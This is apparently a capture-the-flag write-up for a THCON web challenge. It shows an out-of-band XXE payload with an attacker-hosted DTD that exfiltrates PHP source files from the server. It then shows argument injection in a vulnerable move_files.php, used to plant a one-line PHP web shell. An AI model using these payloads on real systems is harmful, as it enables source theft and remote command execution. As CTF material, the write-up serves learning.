First step :

XXE OOB Found on : http://challenges1.thcon.party:2000/create_pres.php

POST /create_pres.php HTTP/1.1
Host: challenges1.thcon.party:2000
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 7_1_2 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D257 Safari/9537.53
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------34783305014501417421413273416
Content-Length: 524
Origin: http://challenges1.thcon.party:2000
Connection: close
Referer: http://challenges1.thcon.party:2000/create_pres.php
Cookie: token=8JGY8xbpVP1UXrQgAUf-W; PHPSESSID=quabf7p3f2b9ofsdhbfa4hi3mb
Upgrade-Insecure-Requests: 1

-----------------------------34783305014501417421413273416
Content-Disposition: form-data; name="name"

test
-----------------------------34783305014501417421413273416
Content-Disposition: form-data; name="comment"

--><!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY % sp SYSTEM "http://x.x.x.x/x.dtd">%sp;%param1;]><r>&exfil;</r><!--

-----------------------------34783305014501417421413273416
Content-Disposition: form-data; name="description"

test
-----------------------------34783305014501417421413273416--

x.dtd :

<!ENTITY % data SYSTEM "php://filter/read=zlib.deflate/read=convert.base64-encode/resource=file:///var/www/html/index.php">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://x.x.x.x/?c=%data;'>">

Like so we can dump all the sources :

create_dir.php
index.php
move_files.php
remove_dir.php
upload.php

Second step :

Argument injection found on : move_files.php

<?php
session_start();
$personal_dir = hash("sha256", session_id(), false);
$cur_dir = '/var/www/html/uploads/' . $personal_dir . '/';

if(isset($_POST['dname']) && isset($_POST['fname']))
{
  $target_dir = basename(escapeshellcmd($_POST['dname']));
  if($_POST['dname'] === 'root'){
        $target_dir = '.';
    }

  if(is_dir($cur_dir . $target_dir) && $target_dir !== '..')
  {
    if($_POST['fname'] === 'All')
    {
      system("cd $cur_dir && mv * $cur_dir$target_dir 2>/dev/null");
    }
    else{
      $file_path = explode('/', realpath($cur_dir . $_POST['fname']));
      $cur_dir_exp = explode('/', $cur_dir);
      $res_file = implode('/', array_diff($file_path, $cur_dir_exp));
      if(is_file($cur_dir . $res_file)){
        system("cd $cur_dir && mv $res_file $cur_dir$target_dir 2>/dev/null");
      }
    }
  }
}

header('Location: index.php');

?>

The goal is to create a file name whatever and a directory named shell.php -f and take advantage of this argument injection in order to mv our shell to shell.php. This happen because file path are not quoted.

From the website

1 : upload whatever <?php system($_GET[0]); ?>
2 : create directory named shell.php -f
3 : move whatever info shell.php -f

Then we have our shell at shell.php

And we can get our flag :))